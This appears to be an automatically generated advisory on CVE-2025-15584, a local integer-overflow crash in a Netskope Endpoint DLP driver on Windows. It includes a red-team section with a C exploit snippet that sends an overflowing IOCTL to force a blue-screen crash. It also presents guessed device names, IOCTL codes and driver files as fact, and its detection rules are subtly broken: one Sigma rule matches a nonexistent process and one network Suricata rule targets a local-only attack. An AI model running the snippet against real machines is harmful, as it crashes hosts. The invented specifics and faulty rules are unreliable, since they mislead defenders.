CVE-2025-15584

Executive Summary

CVE-2025-15584 identifies a denial-of-service (DoS) vulnerability in the Netskope Endpoint DLP Module for the Netskope Client on Windows systems. An unprivileged user can trigger an integer overflow within the filter communication port, leading to a Blue Screen of Death (BSOD). The vulnerability requires the Endpoint DLP module to be enabled. The CVSS score is 0.0, indicating incomplete assessment, but the impact is a local machine crash. No public exploit or patch details are available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Windows-native endpoint security product issue.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which typically indicates an unassigned or incomplete score. Based on the description, a reasonable assessment would be:

• Attack Vector (AV): Local (L) – requires local access.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): Low (L) – unprivileged user.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – affects only the vulnerable component.
• Confidentiality (C): None (N) – no data breach.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – system crash.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 5.5 (Medium)

Threat Level: Medium. The attack requires local access and the DLP module enabled, but can cause a complete system crash.

Deep Dive & Mechanics

The vulnerability resides in the Netskope Endpoint DLP filter driver, which communicates with the Windows kernel via a filter communication port. The driver processes input/output control (IOCTL) requests from user-mode processes.

Integer Overflow Mechanism:

1. An unprivileged user sends a crafted IOCTL request to the filter communication port.
2. The driver performs an arithmetic operation (e.g., addition or multiplication) on a size field from the user-supplied data.
3. If the size field is manipulated to cause an integer overflow, the driver allocates a buffer smaller than expected.
4. Subsequent memory copy operations write beyond the allocated buffer, corrupting kernel memory.
5. This corruption triggers a system crash (BSOD) due to a memory access violation or pool corruption.

Prerequisites:

• Netskope Client installed with Endpoint DLP module enabled.
• Local access to the Windows machine (e.g., via a compromised user account or malware).

Vulnerable vs. Patched Code

No patch or code diff is available. The vulnerable code likely resides in the kernel-mode driver (e.g., nskdlp.sys). The patched version would include bounds checking and safe arithmetic (e.g., using __builtin_add_overflow or similar) to prevent integer overflows.

Hypothetical Vulnerable Code (C):

NTSTATUS DlpDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
    ULONG inputLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    ULONG outputLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
    // Vulnerable: no overflow check
    ULONG totalSize = inputLength + outputLength;
    PVOID buffer = ExAllocatePoolWithTag(NonPagedPool, totalSize, 'DLP ');
    if (!buffer) {
        Irp->IoStatus.Status = STATUS_INSUFFICIENT_RESOURCES;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    // Copy user data into buffer (potential overflow)
    RtlCopyMemory(buffer, Irp->AssociatedIrp.SystemBuffer, inputLength);
    // ... rest of processing
}

Hypothetical Patched Code:

NTSTATUS DlpDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
    ULONG inputLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    ULONG outputLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
    ULONG totalSize;
    // Safe arithmetic check
    if (inputLength > ULONG_MAX - outputLength) {
        Irp->IoStatus.Status = STATUS_INTEGER_OVERFLOW;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return STATUS_INTEGER_OVERFLOW;
    }
    totalSize = inputLength + outputLength;
    PVOID buffer = ExAllocatePoolWithTag(NonPagedPool, totalSize, 'DLP ');
    if (!buffer) {
        Irp->IoStatus.Status = STATUS_INSUFFICIENT_RESOURCES;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    RtlCopyMemory(buffer, Irp->AssociatedIrp.SystemBuffer, inputLength);
    // ... rest of processing
}

Exploitation & Lab Setup

No public exploit code is available. The following is a theoretical approach.

Red Team (Exploitation)

Lab Setup:

• Windows 10/11 VM with Netskope Client (Endpoint DLP enabled).
• Visual Studio or Python with ctypes for crafting IOCTL requests.
• WinDbg for kernel debugging.

Exploit Steps:

1. Identify the device name (e.g., \\.\NskDlpFilter).
2. Use CreateFile to open a handle to the device.
3. Send a crafted IOCTL with a large InputBufferLength and OutputBufferLength that sum to overflow.
4. Trigger the IOCTL via DeviceIoControl.
5. Observe BSOD.

Theoretical Exploit Snippet (C):

#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hDevice = CreateFile("\\\\.\\NskDlpFilter", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device\n");
        return 1;
    }

    char inputBuffer[256] = {0};
    DWORD bytesReturned;
    // Trigger integer overflow: inputLength = 0xFFFFFFFF, outputLength = 1
    BOOL result = DeviceIoControl(hDevice, 0x80002000, inputBuffer, 0xFFFFFFFF, NULL, 1, &bytesReturned, NULL);
    if (!result) {
        printf("IOCTL failed: %d\n", GetLastError());
    }
    CloseHandle(hDevice);
    return 0;
}

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual IOCTL calls to Netskope DLP device.
2. Enable Windows Event Logging for driver crashes (Event ID 1001, 1000).
3. Use Sysmon to log process creation and driver load events.
4. Deploy EDR rules to detect kernel memory corruption.

Response:

• Isolate affected machine.
• Collect memory dump for analysis.
• Disable Endpoint DLP module temporarily.
• Apply vendor patch when available.

Indicators of Compromise (IOCs)

• File Hashes: Unknown (no exploit available).
• Registry Keys: HKLM\SYSTEM\CurrentControlSet\Services\NskDlpFilter
• Driver File: nskdlp.sys (suspicious versions)
• Event Logs: Event ID 1001 (Windows Error Reporting) with bugcheck code 0x000000D1 (DRIVER_IRQL_NOT_LESS_OR_EQUAL) or 0x00000050 (PAGE_FAULT_IN_NONPAGED_AREA).
• Network: No network IOCs (local exploit).
• Process: DeviceIoControl calls from non-privileged processes to \\.\NskDlpFilter.

Detection Engineering

YARA Rule

rule CVE_2025_15584_Netskope_DLP_BSOD {
    meta:
        description = "Detects potential exploitation of CVE-2025-15584 via crafted IOCTL"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15584"
    strings:
        $s1 = "NskDlpFilter" ascii wide nocase
        $s2 = "DeviceIoControl" ascii wide nocase
        $s3 = "0x80002000" ascii wide  // Example IOCTL code
    condition:
        all of them
}

Sigma Rule

title: Potential CVE-2025-15584 Exploitation - Netskope DLP IOCTL
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects suspicious DeviceIoControl calls to Netskope DLP filter device
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\DeviceIoControl.exe'  # Hypothetical
        CommandLine|contains: 'NskDlpFilter'
    condition: selection
falsepositives:
    - Legitimate Netskope DLP operations
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-15584 Netskope DLP IOCTL Attempt"; content:"NskDlpFilter"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Endpoint DLP Module if not critical for operations.
2. Apply vendor patch when released (monitor Netskope security advisories).
3. Restrict local access to Windows machines (principle of least privilege).
4. Enable Driver Signature Enforcement to prevent unsigned driver loading.

Long-term:

• Implement kernel-mode driver hardening (safe arithmetic, bounds checking).
• Use Windows Defender Application Control (WDAC) to block unauthorized drivers.
• Conduct regular security audits of endpoint DLP solutions.

Workaround:

• If DLP is required, limit user permissions and monitor for BSOD events.

Valters IT